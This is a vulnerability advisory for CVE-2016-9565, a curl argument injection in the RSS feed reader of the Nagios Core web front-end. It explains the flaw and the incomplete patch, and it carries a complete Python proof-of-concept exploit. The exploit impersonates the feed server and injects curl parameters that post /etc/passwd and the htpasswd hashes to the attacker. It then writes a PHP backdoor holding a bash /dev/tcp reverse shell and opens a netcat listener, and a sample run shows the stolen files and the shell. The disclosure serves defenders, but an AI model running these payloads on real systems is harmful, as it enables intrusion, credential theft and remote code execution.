Nagios Core Curl Command Injection / Code Execution

` __ __ __ __ __   
/ / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________  
/ / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/  
/ /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )   
/_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/   
/____/   
  
  
=============================================  
- Discovered by: Dawid Golunski  
- dawid[at]legalhackers.com  
- https://legalhackers.com  
  
- CVE-2016-9565  
- Release date: 13.12.2016  
- Revision 2.0  
- Severity: High / Critical  
=============================================  
  
  
I. VULNERABILITY  
-------------------------  
  
Nagios Core < 4.2.2 Curl Command Injection / Remote Code Execution  
  
  
II. BACKGROUND  
-------------------------  
  
"Nagios Is The Industry Standard In IT Infrastructure Monitoring  
  
Achieve instant awareness of IT infrastructure problems, so downtime doesn't   
adversely affect your business.  
  
Nagios offers complete monitoring and alerting for servers, switches,   
applications, and services."  
  
https://www.nagios.org/  
  
  
III. INTRODUCTION  
-------------------------  
  
Nagios Core comes with a PHP/CGI front-end which allows to view status  
of the monitored hosts.  
This front-end contained a Command Injection vulnerability in a RSS feed reader  
class that loads (via insecure clear-text HTTP or HTTPS accepting self-signed   
certificates) the latest Nagios news from a remote RSS feed (located on the   
vendor's server on the Internet) upon log-in to the Nagios front-end.  
The vulnerability could potentially enable remote unauthenticated attackers who  
managed to impersonate the feed server (via DNS poisoning, domain hijacking,   
ARP spoofing etc.), to provide a malicious response that injects parameters to   
curl command used by the affected RSS client class and effectively   
read/write arbitrary files on the vulnerable Nagios server.  
This could lead to Remote Code Execution in the context of www-data/nagios user  
on default Nagios installs that follow the official setup guidelines.  
  
IV. DESCRIPTION  
-------------------------  
  
  
Vulnerability  
~~~~~~~~~~~~~~  
  
The vulnerability was caused by the use of a vulnerable component for handling   
RSS news feeds - MagpieRSS in Nagios Core control panel / front-end.  
The component was used by Nagios front-end to load news feeds from remote  
feed source upon log-in.  
The component was found vulnerable to CVE-2008-4796.   
  
Below are relevant parts of code from the vulnerable RSS class:  
  
----------------------------------------------------  
  
function fetch($URI)  
{  
...  
case "https":  
...  
$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");  
$this->_httpsrequest($path, $URI, $this->_httpmethod);  
...  
}  
...  
function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")  
{  
# accept self-signed certs  
$cmdline_params .= " -k";   
exec($this->curl_path." -D \"/tmp/$headerfile\"".escapeshellcmd($cmdline_params)." ".escapeshellcmd($URI),$results,$return);  
  
---------------------------------------------------------  
  
  
As can be seen, the _httpsrequest function uses a curl command to handle HTTPS   
requests. The sanitization used to escape $URI did not prevent injection of   
additional parameters to curl command which made it possible to, for example, get   
curl to write out the https response to an arbitrary file with the $URI:  
  
https://attacker-svr -o /tmp/result_file  
  
The vulnerability was reported to Nagios security team.   
Nagios 4.2.0 was released which contained the following fix for CVE-2008-4796:  
  
---------------------------------------------------------  
  
# accept self-signed certs  
$cmdline_params .= " -k";   
exec($this->curl_path." -D \"/tmp/$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return);  
  
---------------------------------------------------------  
  
Further research found the fix to be incomplete as the extra sanitization  
by the above patch could be bypassed by adding extra quote characters in  
the $URI variable e.g:  
  
https://attacker-svr" -o /tmp/nagioshackedagain "  
  
This vulnerability has been assigned CVE-2016-9565 and was addressed by Nagios  
team in the new release of Nagios 4.2.2 by removing the vulnerable class.  
  
  
Injection Point / Controling $URI var  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
The affected versions of Nagios Core front-end contain three files that trigger  
the _httpsrequest() function with the injectable curl command shown above:  
  
- rss-corefeed.php  
- rss-corebanner.php  
- rss-newsfeed.php  
  
These are used to fetch news via an RSS feed from www.nagios.org website via  
HTTP or HTTPS (see the notes below) protocols.  
The news are displayed on the Home page of the Nagios front-end upon log-in.  
  
All 3 scripts call fetch_rss() as follows:  
  
------[ rss-corefeed.php ]------  
  
<?php  
  
//build splash divs to ajax load  
do_corefeed_html();  
  
function do_corefeed_html() {  
  
$url="http://www.nagios.org/backend/feeds/corepromo";  
$rss=fetch_rss($url);  
$x=0;  
//build content string  
if($rss) {  
$html ="  
<ul>";  
  
foreach ($rss->items as $item){  
$x++;  
if($x>3)  
break;  
//$href = $item['link'];  
//$title = $item['title'];  
$desc = $item['description'];  
$html .="<li>{$item['description']}</li>";  
}  
$html .="</ul>";  
  
print $html;  
  
--------------------------------  
  
  
An attacker who managed to impersonate www.nagios.org domain and respond to the web   
request made by the fetch_rss() function could send a malicious 302 redirect to set   
$URI variable from the _httpsrequest() function to an arbitrary value and thus  
control the curl command parameters.  
  
For example, the following redirect:  
  
Location: https://attackers-host/get-data.php -Fpasswd=@/etc/passwd  
  
would execute curl with the parameters:  
  
curl -D /tmp/$headerfile https://attackers-host/get-data.php -Fpasswd=@/etc/passwd  
  
and send the contents of the pnsswd file from the Nagios system to the attacker's   
server in a POST request.  
  
  
Attack Vectors  
~~~~~~~~~~~~~~~~~  
  
In order to supply a malicious response to fetch_rss() the attacker would  
need to impersonate the www.nagios.org domain in some way.   
Well-positioned attackers within the target's network could try network  
attacks such as DNS spoofing, ARP poisoning etc.  
  
A compromised DNS server/resolver within an organisation could be used by   
attackers to exploit the Nagios vulnerability to gain access to the monitoring  
server.  
  
The vulnerability could potentially become an Internet threat and be used to   
exploit a large number of affected Nagios installations in case of a compromise   
of a DNS server/resolver belonging to a large-scale ISP.  
  
  
Notes  
~~~~~~~~~~~~~~~~~  
  
[*] Nagios front-end in versions <= 4.0.5 automatically load the rss-*.php files   
upon login to the Nagios control panel. Later versions contain the   
vulnerable scripts but do not load them automatically.   
On such installations an attacker could still be successful in one of the cases:  
  
a) if attacker had low-privileged access (guest/viewer account) to the control   
panel and was able to execute /nagios/rss-newsfeed.php script  
  
b) perform a CSRF attack / entice a logged-in nagios user to open the URL:  
http://nagios-server/nagios/rss-newsfeed.php  
  
c) well-positioned attackers on the network might be able to modify the  
traffic and inject a redirect to /rss-newsfeed.php script when Nagios control   
panel is accessed via HTTP by an authenticated user  
  
  
[*] The rss-*.php scripts in Nagios Core >=4.0.8 use HTTPS to fetch news feeds   
however as has been previously shown in _httpsrequest() function, the curl  
command gets passed a '-k' (--insecure) parameter which accepts self-signed  
certificates.  
  
  
Arbitrary Code Execution  
~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Nagios Core installations that follow the official installation guidelines:  
  
https://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf  
  
as well as the commercial Nagios VMs available for purchase on the vendor website  
make the web-server user (www-data) part of the 'nagios' group which has  
write access to the web document root (/usr/local/nagios/share).  
  
This can allow attackers who manage to exploit the vulnerability and   
inject parameters to curl command to save a PHP backdoor within the document  
root via a 302 redirect similar to:  
  
Location: http://attacker/php-backdoor.php --trace-ascii /usr/local/nagios/share/nagios-backdoor.php  
  
and have it executed automatically upon a log-in to the Nagios control panel via html/JS code   
snippet returned as a part of the RSS feed as demonstrated by the PoC exploit below.   
  
The privileges could then be raised from nagios user to root via another Nagios  
vulnerability discovered by the author of this advisory CVE-2016-9566:  
  
http://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html  
  
  
V. PROOF OF CONCEPT  
-------------------------  
  
Below is an exploit that demonstrates reading, writing, and code execution  
on affected Nagios installations.  
The attack flow is as follows:  
  
For simplicity, to test the attack vector, a static DNS entry can be added  
inside the /etc/hosts file on the victim Nagios server to point the  
www.nagios.org domain at an attacker's IP where the exploit is executed.  
  
  
----------[ nagios_cmd_injection.py ]----------  
  
#!/usr/bin/env python  
intro = """\033[94m  
Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit   
CVE-2016-9565  
nagios_cmd_injection.py ver. 1.0  
  
Discovered & Coded by:  
  
Dawid Golunski  
https://legalhackers.com  
\033[0m  
"""  
usage = """  
This PoC exploit can allow well-positioned attackers to extract and write   
arbitrary files on the Nagios server which can lead to arbitrary code execution  
on Nagios deployments that follow the official Nagios installation guidelines.   
  
For details, see the full advisory at:  
https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html  
  
PoC Video:  
https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html  
  
Follow https://twitter.com/dawid_golunski for updates on this advisory.  
  
Remember you can turn the nagios shell into root shell via CVE-2016-9565:  
https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html  
  
Usage:  
  
./nagios_cmd_injection.py reverse_shell_ip [reverse_shell_port]  
  
Disclaimer:  
For testing purposes only. Do no harm.  
  
"""  
  
import os  
import sys  
import time  
import re  
import tornado.httpserver  
import tornado.web  
import tornado.ioloop  
  
exploited = 0   
docroot_rw = 0  
  
class MainHandler(tornado.web.RequestHandler):  
  
def get(self):  
global exploited  
if (exploited == 1):  
self.finish()  
else:  
ua = self.request.headers['User-Agent']  
if "Magpie" in ua:  
print "[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl payload:\n" % self.request.remote_ip  
print '-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\n'  
self.redirect('https://' + self.request.host + '/nagioshack -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False)  
exploited = 1  
  
def post(self):   
global docroot_rw  
print "[+] Success, curl payload injected! Received data back from the Nagios server %s\n" % self.request.remote_ip  
  
# Extract /etc/passwd from the target   
passwd = self.request.files['passwd'][0]['body']  
print "[*] Contents of /etc/passwd file from the target:\n\n%s" % passwd  
  
# Extract /usr/local/nagios/etc/htpasswd.users  
htauth = self.request.files['htauth'][0]['body']  
print "[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\n\n%s" % htauth  
  
# Extract nagios group from /etc/group  
group = self.request.files['group'][0]['body']  
for line in group.splitlines():  
if "nagios:" in line:  
nagios_group = line  
print "[*] Retrieved nagios group line from /etc/group file on the target: %s\n" % nagios_group  
if "www-data" in nagios_group:  
print "[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\n"  
docroot_rw = 1  
  
# Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii'  
# option. The output trace should contain an unwrapped line similar to:  
#   
# == Info: Server <?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'"); ?> is not blacklisted  
#  
# which will do the trick as it won't mess up the payload :)  
self.add_header('Server', backdoor)  
  
# Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via <img src=> tag :)  
print "[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \n"  
self.write(xmldata)  
  
self.finish()  
tornado.ioloop.IOLoop.instance().stop()  
  
  
if __name__ == "__main__":  
global backdoor_path  
global backdoor  
  
print intro  
  
# Set attacker's external IP & port to be used by the reverse shell  
if len(sys.argv) < 2 :  
print usage  
sys.exit(2)  
attacker_ip = sys.argv[1]  
if len(sys.argv) == 3 :  
attacker_port = sys.argv[1]  
else:  
attacker_port = 8080  
  
# PHP backdoor to be saved on the target Nagios server  
backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php'  
backdoor = """<?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1 &'"); die("stop processing"); ?>""" % (attacker_ip, attacker_port)  
  
# Feed XML containing JavaScript payload that will load the nagios-backdoor.php script  
global xmldata  
xmldata = """<?xml version="1.0"?>  
<rss version="2.0">  
<channel>  
<title>Nagios feed with injected JS payload</title>  
<item>  
<title>Item 1</title>  
<description>  
  
<strong>Feed injected. Here we go </strong> -   
loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;)   
  
<img src="/nagios/nagios-backdoor.php" onerror="alert('Reverse Shell /nagios/nagios-backdoor.php executed!')">  
  
</description>  
  
</item>  
  
</channel>  
</rss> """  
  
  
# Generate SSL cert  
print "[+] Generating SSL certificate for our python HTTPS web server \n"  
os.system("echo -e '\n\n\n\n\n\n\n\n\n' | openssl req -nodes -new -x509 -keyout server.key -out server.cert 2>/dev/null")  
  
print "[+] Starting the web server on ports 80 & 443 \n"  
application = tornado.web.Application([  
(r'/.*', MainHandler)  
])  
application.listen(80)  
http_server = tornado.httpserver.HTTPServer(  
application,   
ssl_options = {  
"certfile": os.path.join("./", "server.cert"),  
"keyfile": os.path.join("./", "server.key"),  
}  
)  
http_server.listen(443)  
  
print "[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\n"  
tornado.ioloop.IOLoop.current().start()  
  
if (docroot_rw == 1):  
print "[+] PHP backdoor should have been saved in %s on the target by now!\n" % backdoor_path  
print "[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)\n"  
os.system("nc -v -l -p 8080")  
print "\n[+] Shell closed\n"  
  
print "[+] That's all. Exiting\n"  
  
  
  
-----------------------------------------------  
  
Video PoC  
~~~~~~~~~~~~  
  
https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html  
  
  
Example exploit run  
~~~~~~~~~~~~~~~~~~~~  
  
root@xenial:~/nagios-exploit# ./nagios_cmd_injection.py 192.168.57.3  
  
Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit  
CVE-2016-9565  
nagios_cmd_injection.py ver. 1.0  
  
Discovered & Coded by:  
  
Dawid Golunski  
https://legalhackers.com  
  
[+] Generating SSL certificate for our python HTTPS web server   
  
[+] Starting the web server on ports 80 & 443   
  
[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)  
  
[+] Received GET request from Nagios server (192.168.57.4) ! Sending redirect to inject our curl payload:  
  
-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii /usr/local/nagios/share/nagios-backdoor.php  
  
[+] Success, curl payload injected! Received data back from the Nagios server 192.168.57.4  
  
[*] Contents of /etc/passwd file from the target:  
  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
nagios:x:1001:1001::/home/nagios:/bin/sh  
[..cut..]  
  
[*] Contents of /usr/local/nagios/etc/htpasswd.users file:  
  
nagiosadmin:$apr1$buzCfFb$GjV/ga6PHp53qePf0  
  
[*] Retrieved nagios group line from /etc/group file on the target: nagios:x:1001:www-data  
  
[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)  
  
[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :)   
  
[+] PHP backdoor should have been saved in /usr/local/nagios/share/nagios-backdoor.php on the target by now!  
  
[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)  
  
Listening on [0.0.0.0] (family 0, port 8080)  
Connection from [192.168.57.4] port 8080 [tcp/http-alt] accepted (family 2, sport 38718)  
  
www-data@debjessie:/usr/local/nagios/share$ id  
id  
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(nagios),1002(nagcmd)  
  
www-data@debjessie:/usr/local/nagios/share$ groups  
groups  
www-data nagios nagcmd  
  
www-data@debjessie:/usr/local/nagios/share$ cat nagios-backdoor.php  
[..cut..]  
== Info: Server <?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'"); die("stop processing"); ?> is not blacklisted  
[..cut..]  
www-data@debjessie:/usr/local/nagios/share$ ls -ld .  
ls -ld .  
drwxrwsr-x 16 nagios nagios 4096 Dec 9 20:00 .  
  
www-data@debjessie:/usr/local/nagios/share$ exit  
exit  
exit  
  
[+] Shell closed  
  
[+] That's all. Exiting  
  
  
  
VI. BUSINESS IMPACT  
-------------------------  
  
Successfull exploitation of the vulnerability could allow remote attackers  
to extract sensitive data from the Nagios monitoring server as well as  
achieve arbitrary code execution as demonstrated by the exploit.  
The monitoring server is usually critical within an organisation as it   
often has remote access to all hosts within the network. For this reason  
a compromise could likely allow attackers to expand their access within  
the network to other internal servers.  
  
Corporate monitoring servers with a large number of connected hosts are  
often left unpatched due to their sensitive/central role on the network   
which increase the chances of exploitation.   
  
As explained in the description section, the vulnerability could be a threat   
coming from the Internet. If a major ISP / DNS, or nagios.org site itself was   
compromised, this could potentially allow attackers to exploit the vulnerability  
on multiple Nagios installations which retrieve RSS feeds automatically and the  
corporate firewall does not stop the egress traffic from the monitoring server.   
As a result, an attacker could potentially gain unauthorised access to   
affected Nagios installations without even knowing the target IP addresses  
and despite a lack of direct access to the target (blocked igress traffic on  
the firewall).  
  
  
VII. SYSTEMS AFFECTED  
-------------------------  
  
Both of the Nagios Core stable branches 3.x and 4.x are affected.  
  
The vulnerability was disclosed responsibly to the vendor and was fully fixed   
in Nagios Core 4.2.2.  
  
Nagios Core versions <= 4.0.5 are at the highest risk as they are the easiest   
to exploit (automatically load the vulnerable scripts upon log-in to the Nagios   
control panel).  
  
VIII. SOLUTION  
-------------------------  
  
Update to the latest Nagios Core release.  
  
IX. REFERENCES  
-------------------------  
  
https://legalhackers.com  
  
This advisory (CVE-2016-9565) URL:  
https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html  
  
Root Privilege Escalation from nagios system user to root (CVE-2016-9566):  
https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html  
  
Video PoC:  
https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html  
  
Exploit source code:  
https://legalhackers.com/exploits/CVE-2016-9565/nagios_cmd_injection.py  
  
https://www.nagios.org  
  
Nagios patch history:  
https://www.nagios.org/projects/nagios-core/history/4x/  
  
MagpieRSS CVE-2008-4796:  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4796  
  
Nagios Core installation guide:  
https://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf  
  
X. CREDITS  
-------------------------  
  
The vulnerability has been discovered by Dawid Golunski  
dawid (at) legalhackers (dot) com  
  
https://legalhackers.com  
  
XI. REVISION HISTORY  
-------------------------  
  
13.12.2016 - Advisory released  
14.12.2016 - Extended introduction  
  
XII. LEGAL NOTICES  
-------------------------  
  
The information contained within this advisory is supplied "as-is" with  
no warranties or guarantees of fitness of use or otherwise. I accept no  
responsibility for any damage caused by the use or misuse of this information.  
  
  
  
`